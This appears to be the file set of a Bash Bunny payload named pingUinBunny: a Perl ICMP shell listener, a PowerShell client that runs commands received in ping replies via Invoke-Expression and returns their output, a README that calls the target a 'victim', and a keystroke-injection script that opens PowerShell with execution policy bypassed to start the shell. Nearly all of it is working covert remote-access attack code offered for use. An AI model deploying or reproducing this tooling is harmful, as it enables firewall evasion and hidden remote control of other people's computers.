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#!/usr/bin/env perl
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#
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# icmpsh - simple icmp command shell
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# Copyright (c) 2010, Nico Leidecker <nico@leidecker.info>
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# This program is free software: you can redistribute it and/or modify
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# it under the terms of the GNU General Public License as published by
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# the Free Software Foundation, either version 3 of the License, or
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# (at your option) any later version.
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#
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# This program is distributed in the hope that it will be useful,
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# but WITHOUT ANY WARRANTY; without even the implied warranty of
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# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
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# GNU General Public License for more details.
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#
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# You should have received a copy of the GNU General Public License
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# along with this program. If not, see <http://www.gnu.org/licenses/>.
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#
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# Modified by 0iphor13 for pingUinBunny
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#
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#
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#
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#
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use strict;
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use IO::Socket;
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use NetPacket::IP;
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use NetPacket::ICMP qw(ICMP_ECHOREPLY ICMP_ECHO);
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use Net::RawIP;
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use Fcntl;
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print "Bunny waitin' for his friend...\n";
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# create raw socket
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my $sock = IO::Socket::INET->new(
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Proto => "ICMP",
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Type => SOCK_RAW,
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Blocking => 1) or die "$!";
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# set stdin to non-blocking
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fcntl(STDIN, F_SETFL, O_NONBLOCK) or die "$!";
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print "Let's wait for PingUin!\n";
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my $input = '';
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while(1) {
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if ($sock->recv(my $buffer, 4096, 0)) {
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my $ip = NetPacket::IP->decode($buffer);
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my $icmp = NetPacket::ICMP->decode($ip->{data});
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if ($icmp->{type} == ICMP_ECHO) {
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# get identifier and sequencenumber
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my ($ident,$seq,$data) = unpack("SSa*", $icmp->{data});
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# write data to stdout and read from stdin
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print $data;
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$input = <STDIN>;
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# compile and send response
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$icmp->{type} = ICMP_ECHOREPLY;
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$icmp->{data} = pack("SSa*", $ident, $seq, $input);
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my $raw = $icmp->encode();
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my $addr = sockaddr_in(0, inet_aton($ip->{src_ip}));
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$sock->send($raw, 0, $addr) or die "$!\n";
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}
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}
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}
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function Invoke-pingUin
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{
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<#
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Original script by nishang - modified by 0iphor13 for pingUinBunny
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.PARAMETER IPAddress
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The IP address of the server/listener to connect to.
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.PARAMETER Delay
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Time in seconds for which the script waits for a command from the server. Default is 5 seconds.
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.PARAMETER BufferSize
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The size of output Buffer. Defualt is 128.
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.EXAMPLE
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# sysctl -w net.ipv4.icmp_echo_ignore_all=1
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# python icmpsh_m.py 192.168.254.226 192.168.254.1
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Microsoft please don't block, oh dear microsoft corporation
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#>
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[CmdletBinding()] Param(
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[Parameter(Position = 0, Mandatory = $true)]
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[String]
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$IPAddress,
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[Parameter(Position = 1, Mandatory = $false)]
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[Int]
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$Delay = 5,
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[Parameter(Position = 2, Mandatory = $false)]
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[Int]
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$BufferSize = 128
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)
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#Basic structure from http://stackoverflow.com/questions/20019053/sending-back-custom-icmp-echo-response
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$ICMPClientsWalkinDownTheStreet = New-Object System.Net.NetworkInformation.Ping
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$PingOptions = New-Object System.Net.NetworkInformation.PingOptions
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$PingOptions.DontFragment = $True
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$MicrosoftCopyright =@"
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I'll pingUin! <3
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__
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-=(o '.
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'.-.\
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/| \\
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'| ||
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by 0iphor13 _\_):,_
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Windows PowerShell running as user $env:username on $env:computername `n
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"@;
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# Copyright Copies Right
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$NeverGonnaGiveYouUp = ([text.encoding]::ASCII).GetBytes($MicrosoftCopyright)
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$ICMPClientsWalkinDownTheStreet.Send($IPAddress,60 * 1000, $NeverGonnaGiveYouUp, $PingOptions) | Out-Null
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#Show an interactive PowerShell prompt
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$NeverGonnaGiveYouUp = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '> ')
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$ICMPClientsWalkinDownTheStreet.Send($IPAddress,60 * 1000, $NeverGonnaGiveYouUp, $PingOptions) | Out-Null
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while ($true)
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{
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$NeverGonnaGiveYouUp = ([text.encoding]::ASCII).GetBytes('')
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$reply = $ICMPClientsWalkinDownTheStreet.Send($IPAddress,60 * 1000, $NeverGonnaGiveYouUp, $PingOptions)
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#Check for Command from the server
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if ($reply.Buffer)
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{
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$response = ([text.encoding]::ASCII).GetString($reply.Buffer)
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$result = (Invoke-Expression -Command $response 2>&1 | Out-String )
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$NeverGonnaGiveYouUp = ([text.encoding]::ASCII).GetBytes($result)
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$index = [math]::floor($NeverGonnaGiveYouUp.length/$BufferSize)
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$i = 0
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#Fragmant larger output into smaller ones to send to the server.
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if ($NeverGonnaGiveYouUp.length -gt $BufferSize)
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{
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while ($i -lt $index )
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{
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$NeverGonnaGiveYouUp2 = $NeverGonnaGiveYouUp[($i*$BufferSize)..(($i+1)*$BufferSize-1)]
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$ICMPClientsWalkinDownTheStreet.Send($IPAddress,60 * 10000, $NeverGonnaGiveYouUp2, $PingOptions) | Out-Null
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$i +=1
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}
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$remainingindex = $NeverGonnaGiveYouUp.Length % $BufferSize
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if ($remainingindex -ne 0)
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{
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$NeverGonnaGiveYouUp2 = $NeverGonnaGiveYouUp[($i*$BufferSize)..($NeverGonnaGiveYouUp.Length)]
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$ICMPClientsWalkinDownTheStreet.Send($IPAddress,60 * 10000, $NeverGonnaGiveYouUp2, $PingOptions) | Out-Null
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}
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}
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else
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{
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$ICMPClientsWalkinDownTheStreet.Send($IPAddress,60 * 10000, $NeverGonnaGiveYouUp, $PingOptions) | Out-Null
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}
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$NeverGonnaGiveYouUp = ([text.encoding]::ASCII).GetBytes("`nPS " + (Get-Location).Path + '> ')
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$ICMPClientsWalkinDownTheStreet.Send($IPAddress,60 * 1000, $NeverGonnaGiveYouUp, $PingOptions) | Out-Null
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}
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else
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{
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Start-Sleep -Seconds $Delay
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}
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}
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}
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@ -0,0 +1,39 @@
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**Title: pingUinBunny**
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Author: 0iphor13
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Version: 1.0
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What is pingUinBunny?
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#
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*Imagine a scenario in which communication to and from the server is protected and filtered by a firewall and does not allow TCP shell communication to take place on any listening port (both reverse and bind TCP connection).*
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*But many environments allow ping requests to be sent and received. Ping requests work on the ICMP protocol.*
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*ICMP stands for Internet Control Message Protocol; it is used by network devices’ query and error messages. ICMP differs from the widely used TCP and UDP protocols because ICMP is not used for transferring data between network devices.*
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*When a device wants to test connectivity to another device, it uses the PING tool (ICMP communication) to send an ECHO REQUEST and waits for an ECHO RESPONSE.*
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*The client ICMP agent (Bunny.pl) listens for ICMP packets from a specific host and uses the data in the packet for command execution.*
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*The server ICMP Agent (Bunny.pl) sends ICMP packets to connect to the victim running a custom ICMP agent (Invoke-pingUin.ps1) and sends it commands to execute.*
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#
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There you go, a reverse shell.
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Instruction:
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Upload Bunny.pl onto your attacking machine.
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Install dependencies, if needed:
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IO::Socket,
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NetPacket::IP,
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NetPacket::ICMP
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Disable ICMP replies by the OS:
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*sysctl -w net.ipv4.icmp_echo_ignore_all=1*
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Start Bunny.pl -> perl Bunny.pl
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#
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Plug in Bashbunny with pingUinBunny equipped.
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Achieve reverse shell.
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run away <3
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Credit for code and ideas:
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bdamele
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nishang
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krabelize
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@ -0,0 +1,43 @@
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#!/bin/bash
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#
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# Title: pingUinBunny
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# Description: Get remote access using a icmp reverse shell.
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# Author: 0iphor13
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# Version: 1.0
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# Category: Remote_Access
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# Attackmodes: HID, Storage
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LED SETUP
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DELAY 500
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GET SWITCH_POSITION
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DUCKY_LANG de
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DELAY 500
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ATTACKMODE HID STORAGE
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#LED STAGE1 - DON'T EJECT - PAYLOAD RUNNING
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LED STAGE1
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DELAY 5000
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RUN WIN "powershell -Exec Bypass"
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DELAY 6000
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Q ENTER
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DELAY 10000
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Q STRING "Import-Module ((gwmi win32_volume -f 'label=''BashBunny''').Name+'\payloads\\$SWITCH_POSITION\Invoke-pingUin.ps1')"
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DELAY 10000
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Q ENTER
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DELAY 10000
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Q STRING "Invoke-pingUin -IpAddress 0.0.0.0"
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DELAY 10000
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Q ENTER
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DELAY 5000
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ATTACKMODE HID
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LED FINISH
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